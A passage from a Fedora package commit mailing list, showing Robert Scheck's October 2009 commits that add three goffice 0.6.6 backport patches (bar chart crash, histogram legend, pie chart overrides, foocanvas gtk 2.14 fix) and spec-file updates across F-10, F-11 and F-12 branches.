 	* Release 0.6.6
 
 2008-12-08  Morten Welinder  <terra at gnome.org>
diff --git a/ChangeLog b/ChangeLog
index a102d3c..df71675 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
+	a value to an invalid length variable. [#572354]
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 01cff7f..4025058 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+goffice 0.6.7:
+
+Jean:
+	* Fixed crash when adding series to bar chart. [#572354]
+	
+--------------------------------------------------------------------------
 goffice 0.6.6:
 
 Hib Eris:
diff --git a/plugins/plot_barcol/gog-1.5d.c b/plugins/plot_barcol/gog-1.5d.c
index 75f84d4..a2d26f0 100644
--- a/plugins/plot_barcol/gog-1.5d.c
+++ b/plugins/plot_barcol/gog-1.5d.c
@@ -235,7 +235,6 @@ gog_plot1_5d_update (GogObject *obj)
 			series = ptr->data;
 			/* we are guaranteed that at least 1 series is valid above */
 			if (!gog_series_is_valid (GOG_SERIES (series))) {
-				lengths[i] = 0;
 				continue;
 			}
 			vals[i] = go_data_vector_get_values (
--
cgit v0.8.2

goffice-0.6.6-backport-20090306.patch:
 ChangeLog                          |    7 +++++++
 NEWS                               |    2 ++
 plugins/plot_boxes/gog-histogram.c |   11 +----------
 plugins/plot_pie/gog-pie.c         |    7 +++++--
 4 files changed, 15 insertions(+), 12 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090306.patch ---
>From 2128a2e4549e8fdd9988c952f87a5c38e28efe82 Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Fri, 06 Mar 2009 09:51:21 +0000
Subject: don't show a marker in the legend. [#574340] skip points when the datum is

2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
	legend. [#574340]
	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
	the datum is skipped. [#574348]


svn path=/branches/goffice-0-6/; revision=2325
---
diff --git a/ChangeLog b/ChangeLog
index df71675..02e99eb 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,10 @@
+2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
+	legend. [#574340]
+	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
+	the datum is skipped. [#574348]
+
 2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
diff --git a/NEWS b/NEWS
index 4025058..58110e2 100644
--- a/NEWS
+++ b/NEWS
@@ -2,6 +2,8 @@ goffice 0.6.7:
 
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
+	* Don't display markers in histogram legend. [#574340]
+	* Skip points corresponding to invalid valies in pie charts. [#574348]
 	
 --------------------------------------------------------------------------
 goffice 0.6.6:
diff --git a/plugins/plot_boxes/gog-histogram.c b/plugins/plot_boxes/gog-histogram.c
index 2dd8dbe..8ddd005 100644
--- a/plugins/plot_boxes/gog-histogram.c
+++ b/plugins/plot_boxes/gog-histogram.c
@@ -193,7 +193,7 @@ gog_histogram_plot_class_init (GogPlotClass *gog_plot_klass)
 	plot_klass->desc.num_series_max = 1;
 	plot_klass->series_type = gog_histogram_plot_series_get_type ();
 	plot_klass->axis_set = GOG_AXIS_SET_XY;
-	plot_klass->desc.series.style_fields	= GOG_STYLE_LINE | GOG_STYLE_FILL;
+	plot_klass->desc.series.style_fields	= GOG_STYLE_OUTLINE | GOG_STYLE_FILL;
 	plot_klass->axis_get_bounds   		= gog_histogram_plot_axis_get_bounds;
 }
 
@@ -452,14 +452,6 @@ gog_histogram_plot_series_update (GogObject *obj)
 }
 
 static void
-gog_histogram_plot_series_init_style (GogStyledObject *gso, GogStyle *style)
-{
-	((GogStyledObjectClass*) gog_histogram_plot_series_parent_klass)->init_style (gso, style);
-
-	style->outline.dash_type = GO_LINE_NONE;
-}
-
-static void
 gog_histogram_plot_series_finalize (GObject *obj)
 {
 	GogHistogramPlotSeries *series = GOG_HISTOGRAM_PLOT_SERIES (obj);
@@ -507,7 +499,6 @@ gog_histogram_plot_series_class_init (GogObjectClass *obj_klass)
 	gog_histogram_plot_series_parent_klass = g_type_class_peek_parent (obj_klass);
 	obj_klass->update = gog_histogram_plot_series_update;
 	gog_klass->view_type	= gog_histogram_series_view_get_type ();
-	gso_klass->init_style = gog_histogram_plot_series_init_style;
 
 	gog_object_register_roles (gog_klass, roles, G_N_ELEMENTS (roles));
 
diff --git a/plugins/plot_pie/gog-pie.c b/plugins/plot_pie/gog-pie.c
index a106f09..50f34ef 100644
--- a/plugins/plot_pie/gog-pie.c
+++ b/plugins/plot_pie/gog-pie.c
@@ -728,8 +728,12 @@ gog_pie_view_render (GogView *view, GogViewAllocation const *bbox)
 		overrides = gog_series_get_overrides (GOG_SERIES (series));
 		for (k = 0 ; k < series->base.num_elements; k++) {
 			len = fabs (vals[k]) * scale;
-			if (!go_finite (len) || len < 1e-3)
+			if (!go_finite (len) || len < 1e-3) {
+				if ((overrides != NULL) &&
+				    (GOG_SERIES_ELEMENT (overrides->data)->index == k))
+					overrides = overrides->next;
 				continue;
+			}
 
 			gpse = NULL;
 			if ((overrides != NULL) &&
--
cgit v0.8.2

goffice-0.6.6-backport-20090501.patch:
 ChangeLog                                  |    5 +++++
 NEWS                                       |    5 ++++-
 goffice/cut-n-paste/foocanvas/foo-canvas.c |    4 ++--
 3 files changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090501.patch ---
>From bfcd25ce71fce582af48f834c14a956249dc3ea6 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Fri, 01 May 2009 10:36:42 +0000
Subject: * Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]

---
diff --git a/ChangeLog b/ChangeLog
index 02e99eb..dd3fdc1 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2008-10-08  Jody Goldberg <jody at gnome.org>
+
+	* goffice/cut-n-paste/foocanvas/foo-canvas.c (foo_canvas_crossing) :
+	  simplistic patch to repair gtk-2.14 related breakage.
+
 2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
diff --git a/NEWS b/NEWS
index 58110e2..0954ebd 100644
--- a/NEWS
+++ b/NEWS
@@ -3,8 +3,11 @@ goffice 0.6.7:
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
 	* Don't display markers in histogram legend. [#574340]
-	* Skip points corresponding to invalid valies in pie charts. [#574348]
+	* Skip points corresponding to invalid values in pie charts. [#574348]
 	
+Jody:
+	* Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]
+
 --------------------------------------------------------------------------
 goffice 0.6.6:
 
diff --git a/goffice/cut-n-paste/foocanvas/foo-canvas.c b/goffice/cut-n-paste/foocanvas/foo-canvas.c
index f5c4ceb..45a014c 100644
--- a/goffice/cut-n-paste/foocanvas/foo-canvas.c
+++ b/goffice/cut-n-paste/foocanvas/foo-canvas.c
@@ -2813,7 +2813,8 @@ foo_canvas_crossing (GtkWidget *widget, GdkEventCrossing *event)
 
 	canvas = FOO_CANVAS (widget);
 
-	if (event->window != canvas->layout.bin_window)
+	if (event->window != canvas->layout.bin_window ||
+	    NULL != canvas->grabbed_item)
 		return FALSE;
 
 	canvas->state = event->state;
--
cgit v0.8.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/goffice/F-10/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	7 Sep 2008 00:17:37 -0000	1.9
+++ .cvsignore	21 Oct 2009 09:41:09 -0000	1.10
@@ -1 +1 @@
-goffice-0.6.5.tar.bz2
+goffice-0.6.6.tar.bz2


Index: goffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/goffice/F-10/goffice.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- goffice.spec	7 Sep 2008 00:31:38 -0000	1.20
+++ goffice.spec	21 Oct 2009 09:41:09 -0000	1.21
@@ -1,6 +1,6 @@
 Name:           goffice         
-Version:        0.6.5
-Release:        1%{?dist}
+Version:        0.6.6
+Release:        4%{?dist}
 Summary:        Goffice support libraries
 Group:          System Environment/Libraries
 # bug filed upstream about this being GPL v2 only:
@@ -8,6 +8,9 @@ Group:          System Environment/Libra
 License:        GPLv2
 URL:            http://freshmeat.net/projects/goffice/
 Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.6/%{name}-%{version}.tar.bz2
+Patch0:         goffice-0.6.6-backport-20090219.patch
+Patch1:         goffice-0.6.6-backport-20090306.patch
+Patch2:         goffice-0.6.6-backport-20090501.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libgsf-gnome-devel     >= 1.13.3
 BuildRequires:  libgnomeui-devel       >= 2.0.0
@@ -35,6 +38,9 @@ Development libraries for goffice
 
 %prep
 %setup -q
+%patch0 -p1 -b .backport-20090219
+%patch1 -p1 -b .backport-20090306
+%patch2 -p1 -b .backport-20090501
 
 
 %build
@@ -77,6 +83,21 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> - 0.6.6-4
+- Applied 3 patches from the 0.6 branch (#503068, #505001)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.6-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Jan 31 2009 Julian Sikorski <belegdol[at]gmail[dot]com> - 0.6.6-1
+- Updated to 0.6.6
+
+* Mon Jan 12 2009 Caol?n McNamara <caolanm at redhat.com> - 0.6.5-2
+- rebuild to get provides pkgconfig(libgoffice-0.4) >= 0:0.4.0
+
 * Sun Sep  7 2008 Julian Sikorski <belegdol[at]gmail[dot]com> - 0.6.5-1
 - Updated to 0.6.5
 - Development docs are now in goffice-0.6


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/goffice/F-10/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	7 Sep 2008 00:17:37 -0000	1.9
+++ sources	21 Oct 2009 09:41:09 -0000	1.10
@@ -1 +1 @@
-ab0cf11995b7750f26112669cedf6707  goffice-0.6.5.tar.bz2
+92e51878b9cd9c2fa954953d708f2c47  goffice-0.6.6.tar.bz2



From robert at fedoraproject.org  Wed Oct 21 09:41:10 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Wed, 21 Oct 2009 09:41:10 +0000 (UTC)
Subject: rpms/goffice/F-11 goffice-0.6.6-backport-20090219.patch, NONE,
	1.1 goffice-0.6.6-backport-20090306.patch, NONE,
	1.1 goffice-0.6.6-backport-20090501.patch, NONE,
	1.1 goffice.spec, 1.23, 1.24
Message-ID: <20091021094110.407EF11C00E8@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/goffice/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12181/F-11

Modified Files:
	goffice.spec 
Added Files:
	goffice-0.6.6-backport-20090219.patch 
	goffice-0.6.6-backport-20090306.patch 
	goffice-0.6.6-backport-20090501.patch 
Log Message:
Applied 3 patches from the 0.6 branch (#503068, #505001)


goffice-0.6.6-backport-20090219.patch:
 ChangeLog                        |    5 +++++
 b/ChangeLog                      |    4 ++++
 b/NEWS                           |    6 ++++++
 b/plugins/plot_barcol/gog-1.5d.c |    2 --
 4 files changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090219.patch ---
>From a368ebc219318c7154b4d2cfb6d1f4027a62016f Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Thu, 19 Feb 2009 19:27:25 +0000
Subject: don't set a value to an invalid length variable. [#572354]

2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
	a value to an invalid length variable. [#572354]


svn path=/branches/goffice-0-6/; revision=2313
---
diff --git a/ChangeLog b/ChangeLog
index 8db2fe7..a102d3c 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
 	* Release 0.6.6
 
 2008-12-08  Morten Welinder  <terra at gnome.org>
diff --git a/ChangeLog b/ChangeLog
index a102d3c..df71675 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
+	a value to an invalid length variable. [#572354]
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 01cff7f..4025058 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+goffice 0.6.7:
+
+Jean:
+	* Fixed crash when adding series to bar chart. [#572354]
+	
+--------------------------------------------------------------------------
 goffice 0.6.6:
 
 Hib Eris:
diff --git a/plugins/plot_barcol/gog-1.5d.c b/plugins/plot_barcol/gog-1.5d.c
index 75f84d4..a2d26f0 100644
--- a/plugins/plot_barcol/gog-1.5d.c
+++ b/plugins/plot_barcol/gog-1.5d.c
@@ -235,7 +235,6 @@ gog_plot1_5d_update (GogObject *obj)
 			series = ptr->data;
 			/* we are guaranteed that at least 1 series is valid above */
 			if (!gog_series_is_valid (GOG_SERIES (series))) {
-				lengths[i] = 0;
 				continue;
 			}
 			vals[i] = go_data_vector_get_values (
--
cgit v0.8.2

goffice-0.6.6-backport-20090306.patch:
 ChangeLog                          |    7 +++++++
 NEWS                               |    2 ++
 plugins/plot_boxes/gog-histogram.c |   11 +----------
 plugins/plot_pie/gog-pie.c         |    7 +++++--
 4 files changed, 15 insertions(+), 12 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090306.patch ---
>From 2128a2e4549e8fdd9988c952f87a5c38e28efe82 Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Fri, 06 Mar 2009 09:51:21 +0000
Subject: don't show a marker in the legend. [#574340] skip points when the datum is

2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
	legend. [#574340]
	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
	the datum is skipped. [#574348]


svn path=/branches/goffice-0-6/; revision=2325
---
diff --git a/ChangeLog b/ChangeLog
index df71675..02e99eb 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,10 @@
+2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
+	legend. [#574340]
+	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
+	the datum is skipped. [#574348]
+
 2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
diff --git a/NEWS b/NEWS
index 4025058..58110e2 100644
--- a/NEWS
+++ b/NEWS
@@ -2,6 +2,8 @@ goffice 0.6.7:
 
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
+	* Don't display markers in histogram legend. [#574340]
+	* Skip points corresponding to invalid valies in pie charts. [#574348]
 	
 --------------------------------------------------------------------------
 goffice 0.6.6:
diff --git a/plugins/plot_boxes/gog-histogram.c b/plugins/plot_boxes/gog-histogram.c
index 2dd8dbe..8ddd005 100644
--- a/plugins/plot_boxes/gog-histogram.c
+++ b/plugins/plot_boxes/gog-histogram.c
@@ -193,7 +193,7 @@ gog_histogram_plot_class_init (GogPlotClass *gog_plot_klass)
 	plot_klass->desc.num_series_max = 1;
 	plot_klass->series_type = gog_histogram_plot_series_get_type ();
 	plot_klass->axis_set = GOG_AXIS_SET_XY;
-	plot_klass->desc.series.style_fields	= GOG_STYLE_LINE | GOG_STYLE_FILL;
+	plot_klass->desc.series.style_fields	= GOG_STYLE_OUTLINE | GOG_STYLE_FILL;
 	plot_klass->axis_get_bounds   		= gog_histogram_plot_axis_get_bounds;
 }
 
@@ -452,14 +452,6 @@ gog_histogram_plot_series_update (GogObject *obj)
 }
 
 static void
-gog_histogram_plot_series_init_style (GogStyledObject *gso, GogStyle *style)
-{
-	((GogStyledObjectClass*) gog_histogram_plot_series_parent_klass)->init_style (gso, style);
-
-	style->outline.dash_type = GO_LINE_NONE;
-}
-
-static void
 gog_histogram_plot_series_finalize (GObject *obj)
 {
 	GogHistogramPlotSeries *series = GOG_HISTOGRAM_PLOT_SERIES (obj);
@@ -507,7 +499,6 @@ gog_histogram_plot_series_class_init (GogObjectClass *obj_klass)
 	gog_histogram_plot_series_parent_klass = g_type_class_peek_parent (obj_klass);
 	obj_klass->update = gog_histogram_plot_series_update;
 	gog_klass->view_type	= gog_histogram_series_view_get_type ();
-	gso_klass->init_style = gog_histogram_plot_series_init_style;
 
 	gog_object_register_roles (gog_klass, roles, G_N_ELEMENTS (roles));
 
diff --git a/plugins/plot_pie/gog-pie.c b/plugins/plot_pie/gog-pie.c
index a106f09..50f34ef 100644
--- a/plugins/plot_pie/gog-pie.c
+++ b/plugins/plot_pie/gog-pie.c
@@ -728,8 +728,12 @@ gog_pie_view_render (GogView *view, GogViewAllocation const *bbox)
 		overrides = gog_series_get_overrides (GOG_SERIES (series));
 		for (k = 0 ; k < series->base.num_elements; k++) {
 			len = fabs (vals[k]) * scale;
-			if (!go_finite (len) || len < 1e-3)
+			if (!go_finite (len) || len < 1e-3) {
+				if ((overrides != NULL) &&
+				    (GOG_SERIES_ELEMENT (overrides->data)->index == k))
+					overrides = overrides->next;
 				continue;
+			}
 
 			gpse = NULL;
 			if ((overrides != NULL) &&
--
cgit v0.8.2

goffice-0.6.6-backport-20090501.patch:
 ChangeLog                                  |    5 +++++
 NEWS                                       |    5 ++++-
 goffice/cut-n-paste/foocanvas/foo-canvas.c |    4 ++--
 3 files changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090501.patch ---
>From bfcd25ce71fce582af48f834c14a956249dc3ea6 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Fri, 01 May 2009 10:36:42 +0000
Subject: * Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]

---
diff --git a/ChangeLog b/ChangeLog
index 02e99eb..dd3fdc1 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2008-10-08  Jody Goldberg <jody at gnome.org>
+
+	* goffice/cut-n-paste/foocanvas/foo-canvas.c (foo_canvas_crossing) :
+	  simplistic patch to repair gtk-2.14 related breakage.
+
 2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
diff --git a/NEWS b/NEWS
index 58110e2..0954ebd 100644
--- a/NEWS
+++ b/NEWS
@@ -3,8 +3,11 @@ goffice 0.6.7:
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
 	* Don't display markers in histogram legend. [#574340]
-	* Skip points corresponding to invalid valies in pie charts. [#574348]
+	* Skip points corresponding to invalid values in pie charts. [#574348]
 	
+Jody:
+	* Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]
+
 --------------------------------------------------------------------------
 goffice 0.6.6:
 
diff --git a/goffice/cut-n-paste/foocanvas/foo-canvas.c b/goffice/cut-n-paste/foocanvas/foo-canvas.c
index f5c4ceb..45a014c 100644
--- a/goffice/cut-n-paste/foocanvas/foo-canvas.c
+++ b/goffice/cut-n-paste/foocanvas/foo-canvas.c
@@ -2813,7 +2813,8 @@ foo_canvas_crossing (GtkWidget *widget, GdkEventCrossing *event)
 
 	canvas = FOO_CANVAS (widget);
 
-	if (event->window != canvas->layout.bin_window)
+	if (event->window != canvas->layout.bin_window ||
+	    NULL != canvas->grabbed_item)
 		return FALSE;
 
 	canvas->state = event->state;
--
cgit v0.8.2


Index: goffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/goffice/F-11/goffice.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- goffice.spec	25 Feb 2009 00:16:31 -0000	1.23
+++ goffice.spec	21 Oct 2009 09:41:10 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           goffice         
 Version:        0.6.6
-Release:        2%{?dist}
+Release:        4%{?dist}
 Summary:        Goffice support libraries
 Group:          System Environment/Libraries
 # bug filed upstream about this being GPL v2 only:
@@ -8,6 +8,9 @@ Group:          System Environment/Libra
 License:        GPLv2
 URL:            http://freshmeat.net/projects/goffice/
 Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.6/%{name}-%{version}.tar.bz2
+Patch0:         goffice-0.6.6-backport-20090219.patch
+Patch1:         goffice-0.6.6-backport-20090306.patch
+Patch2:         goffice-0.6.6-backport-20090501.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libgsf-gnome-devel     >= 1.13.3
 BuildRequires:  libgnomeui-devel       >= 2.0.0
@@ -35,6 +38,9 @@ Development libraries for goffice
 
 %prep
 %setup -q
+%patch0 -p1 -b .backport-20090219
+%patch1 -p1 -b .backport-20090306
+%patch2 -p1 -b .backport-20090501
 
 
 %build
@@ -77,6 +83,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> - 0.6.6-4
+- Applied 3 patches from the 0.6 branch (#503068, #505001)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.6-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From robert at fedoraproject.org  Wed Oct 21 09:41:10 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Wed, 21 Oct 2009 09:41:10 +0000 (UTC)
Subject: rpms/goffice/F-12 goffice-0.6.6-backport-20090219.patch, NONE,
	1.1 goffice-0.6.6-backport-20090306.patch, NONE,
	1.1 goffice-0.6.6-backport-20090501.patch, NONE,
	1.1 goffice.spec, 1.24, 1.25
Message-ID: <20091021094110.8670A11C00E8@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/goffice/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12181/F-12

Modified Files:
	goffice.spec 
Added Files:
	goffice-0.6.6-backport-20090219.patch 
	goffice-0.6.6-backport-20090306.patch 
	goffice-0.6.6-backport-20090501.patch 
Log Message:
Applied 3 patches from the 0.6 branch (#503068, #505001)


goffice-0.6.6-backport-20090219.patch:
 ChangeLog                        |    5 +++++
 b/ChangeLog                      |    4 ++++
 b/NEWS                           |    6 ++++++
 b/plugins/plot_barcol/gog-1.5d.c |    2 --
 4 files changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090219.patch ---
>From a368ebc219318c7154b4d2cfb6d1f4027a62016f Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Thu, 19 Feb 2009 19:27:25 +0000
Subject: don't set a value to an invalid length variable. [#572354]

2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
	a value to an invalid length variable. [#572354]


svn path=/branches/goffice-0-6/; revision=2313
---
diff --git a/ChangeLog b/ChangeLog
index 8db2fe7..a102d3c 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
 	* Release 0.6.6
 
 2008-12-08  Morten Welinder  <terra at gnome.org>
diff --git a/ChangeLog b/ChangeLog
index a102d3c..df71675 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
+	a value to an invalid length variable. [#572354]
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 01cff7f..4025058 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+goffice 0.6.7:
+
+Jean:
+	* Fixed crash when adding series to bar chart. [#572354]
+	
+--------------------------------------------------------------------------
 goffice 0.6.6:
 
 Hib Eris:
diff --git a/plugins/plot_barcol/gog-1.5d.c b/plugins/plot_barcol/gog-1.5d.c
index 75f84d4..a2d26f0 100644
--- a/plugins/plot_barcol/gog-1.5d.c
+++ b/plugins/plot_barcol/gog-1.5d.c
@@ -235,7 +235,6 @@ gog_plot1_5d_update (GogObject *obj)
 			series = ptr->data;
 			/* we are guaranteed that at least 1 series is valid above */
 			if (!gog_series_is_valid (GOG_SERIES (series))) {
-				lengths[i] = 0;
 				continue;
 			}
 			vals[i] = go_data_vector_get_values (
--
cgit v0.8.2

goffice-0.6.6-backport-20090306.patch:
 ChangeLog                          |    7 +++++++
 NEWS                               |    2 ++
 plugins/plot_boxes/gog-histogram.c |   11 +----------
 plugins/plot_pie/gog-pie.c         |    7 +++++--
 4 files changed, 15 insertions(+), 12 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090306.patch ---
>From 2128a2e4549e8fdd9988c952f87a5c38e28efe82 Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Fri, 06 Mar 2009 09:51:21 +0000
Subject: don't show a marker in the legend. [#574340] skip points when the datum is

2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
	legend. [#574340]
	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
	the datum is skipped. [#574348]


svn path=/branches/goffice-0-6/; revision=2325
---
diff --git a/ChangeLog b/ChangeLog
index df71675..02e99eb 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,10 @@
+2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
+	legend. [#574340]
+	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
+	the datum is skipped. [#574348]
+
 2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
diff --git a/NEWS b/NEWS
index 4025058..58110e2 100644
--- a/NEWS
+++ b/NEWS
@@ -2,6 +2,8 @@ goffice 0.6.7:
 
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
+	* Don't display markers in histogram legend. [#574340]
+	* Skip points corresponding to invalid valies in pie charts. [#574348]
 	
 --------------------------------------------------------------------------
 goffice 0.6.6:
diff --git a/plugins/plot_boxes/gog-histogram.c b/plugins/plot_boxes/gog-histogram.c
index 2dd8dbe..8ddd005 100644
--- a/plugins/plot_boxes/gog-histogram.c
+++ b/plugins/plot_boxes/gog-histogram.c
@@ -193,7 +193,7 @@ gog_histogram_plot_class_init (GogPlotClass *gog_plot_klass)
 	plot_klass->desc.num_series_max = 1;
 	plot_klass->series_type = gog_histogram_plot_series_get_type ();
 	plot_klass->axis_set = GOG_AXIS_SET_XY;
-	plot_klass->desc.series.style_fields	= GOG_STYLE_LINE | GOG_STYLE_FILL;
+	plot_klass->desc.series.style_fields	= GOG_STYLE_OUTLINE | GOG_STYLE_FILL;
 	plot_klass->axis_get_bounds   		= gog_histogram_plot_axis_get_bounds;
 }
 
@@ -452,14 +452,6 @@ gog_histogram_plot_series_update (GogObject *obj)
 }
 
 static void
-gog_histogram_plot_series_init_style (GogStyledObject *gso, GogStyle *style)
-{
-	((GogStyledObjectClass*) gog_histogram_plot_series_parent_klass)->init_style (gso, style);
-
-	style->outline.dash_type = GO_LINE_NONE;
-}
-
-static void
 gog_histogram_plot_series_finalize (GObject *obj)
 {
 	GogHistogramPlotSeries *series = GOG_HISTOGRAM_PLOT_SERIES (obj);
@@ -507,7 +499,6 @@ gog_histogram_plot_series_class_init (GogObjectClass *obj_klass)
 	gog_histogram_plot_series_parent_klass = g_type_class_peek_parent (obj_klass);
 	obj_klass->update = gog_histogram_plot_series_update;
 	gog_klass->view_type	= gog_histogram_series_view_get_type ();
-	gso_klass->init_style = gog_histogram_plot_series_init_style;
 
 	gog_object_register_roles (gog_klass, roles, G_N_ELEMENTS (roles));
 
diff --git a/plugins/plot_pie/gog-pie.c b/plugins/plot_pie/gog-pie.c
index a106f09..50f34ef 100644
--- a/plugins/plot_pie/gog-pie.c
+++ b/plugins/plot_pie/gog-pie.c
